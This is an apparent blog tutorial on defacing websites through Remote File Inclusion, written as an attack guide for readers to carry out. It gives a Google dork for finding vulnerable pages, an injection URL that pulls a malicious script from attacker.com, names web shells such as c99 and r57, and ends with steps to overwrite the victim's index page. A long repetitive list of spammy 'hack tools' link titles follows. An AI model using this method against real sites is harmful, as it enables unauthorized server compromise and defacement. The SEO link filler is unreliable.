HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

Remote File Inclusion (RFI) is a technique that allows the attacker to upload a malicious code or file on a website or server. The vulnerability exploits the different sort of validation checks in a website and can lead to code execution on server or code execution on the website. This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of the tutorial, I suppose you will know what it is all about and may be able to deploy an attack.

RFI is a common vulnerability. All the website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and play almost anything with the server. Why it put a red alert to the websites, just because of that you only need to have your common sense and basic knowledge of PHP to execute malicious code. BASH might come handy as most of the servers today are hosted on Linux.

SO, HOW TO HACK A WEBSITE OR SERVER WITH RFI?

First of all, we need to find out an RFI vulnerable website. Let's see how we can find one.

As we know finding a vulnerability is the first step to hack a website or server. So, let's get started and simply go to Google and search for the following query.

inurl: "index.php?page=home"

At the place of home, you can also try some other pages like products, gallery and etc.

If you already a know RFI vulnerable website, then you don't need to find it through Google.

Once we have found it, let's move on to the next step. Let's see we have a following RFI vulnerable website.

http://target.com/index.php?page=home

As you can see, this website pulls documents stored in text format from the server and renders them as web pages. Now we can use PHP include function to pull them out. Let's see how it works.

http://target.com/index.php?page=http://attacker.com/maliciousScript.txt

I have included my malicious code txt URL at the place of home. You can use any shell for malicious scripts like c99, r57 or any other.

Now, if it's a really vulnerable website, then there would be 3 things that can happen.

1. You might have noticed that the URL consisted of "page=home" had no extension, but I have included an extension in my URL, hence the site may give an error like 'failure to include maliciousScript.txt', this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
2. In case, it automatically appends something in the lines of .php then we have to use a null byte '' in order to avoid error.
3. Successful execution.

As we get the successful execution of the code, we're good to go with the shell. Now we'll browse the shell for index.php. And will replace the file with our deface page.

Related links

1. Pentest Tools Github
2. Hacking Tools Mac
3. What Is Hacking Tools
4. Hack Tools
5. Hacker Tools
6. Black Hat Hacker Tools
7. Computer Hacker
8. Hack Tools For Mac
9. Hacker Tools For Pc
10. Pentest Tools Windows
11. Hacker Tools Windows
12. Pentest Tools Port Scanner
13. Pentest Tools List
14. Android Hack Tools Github
15. Hack Tools 2019
16. Hacking Tools Github
17. Pentest Tools Online
18. Hacker Tool Kit
19. Pentest Tools Nmap
20. Bluetooth Hacking Tools Kali
21. Tools 4 Hack
22. Hack Tool Apk
23. Hack Tools Pc
24. Hacking Tools Software
25. Hacker Tools Github
26. Pentest Tools Subdomain
27. Hacker Tools Online
28. Hack Tools
29. Hacker Tools Hardware
30. Wifi Hacker Tools For Windows
31. Computer Hacker
32. Hacker Hardware Tools
33. Hack Tool Apk
34. Hacker Tool Kit
35. Hackers Toolbox
36. Hack Website Online Tool
37. Hacker Tools Mac
38. Pentest Tools For Windows
39. Best Pentesting Tools 2018
40. Hack And Tools
41. Nsa Hack Tools Download
42. Hack Rom Tools
43. Pentest Tools
44. Hacker Tools List
45. Hack Tools For Mac
46. Hack Website Online Tool
47. Hacking Tools For Windows 7
48. Install Pentest Tools Ubuntu
49. Hacking App
50. Hacking Tools Mac
51. Hacker Hardware Tools
52. Hack Tools For Ubuntu
53. Hack Tools Pc
54. Hack Tools 2019
55. Hacker Tools Free Download
56. Pentest Tools Tcp Port Scanner
57. Pentest Automation Tools
58. Hacker Tools Online
59. Hacker Tools For Windows
60. Ethical Hacker Tools
61. Best Hacking Tools 2020
62. Hacking Tools
63. Tools For Hacker
64. Hack Tools For Pc
65. Hacking Tools Github
66. Pentest Tools Kali Linux
67. Hack Tools Online
68. Pentest Tools Bluekeep
69. Hack Tools Github
70. Growth Hacker Tools
71. Usb Pentest Tools
72. Hacking Tools Kit
73. Hack Tools Pc
74. Pentest Tools
75. Hacker Tools Apk
76. Hackrf Tools
77. Hacker Tools Software
78. Pentest Tools Review
79. Hacking Tools Hardware
80. Usb Pentest Tools
81. Pentest Tools Kali Linux
82. Ethical Hacker Tools
83. Hacker Tools Hardware
84. Install Pentest Tools Ubuntu
85. Pentest Tools Url Fuzzer
86. Hacking App
87. Hacking Tools Windows 10
88. Pentest Tools Review
89. Pentest Tools
90. Pentest Tools Free
91. Hacker Tools Mac
92. Nsa Hacker Tools
93. Bluetooth Hacking Tools Kali
94. Hacker Tools Apk
95. Underground Hacker Sites
96. Hack Tools
97. Pentest Recon Tools
98. Hacker Tools Github
99. Hacking Apps
100. Hacking Tools Mac
101. Hacking Tools 2020
102. New Hacker Tools
103. Hacker
104. Hack Tools For Ubuntu
105. Pentest Tools Review
106. How To Make Hacking Tools
107. Pentest Recon Tools
108. Hacking Tools Software
109. Install Pentest Tools Ubuntu
110. Tools For Hacker
111. Hacking Apps
112. Pentest Box Tools Download
113. Wifi Hacker Tools For Windows
114. Tools Used For Hacking
115. Wifi Hacker Tools For Windows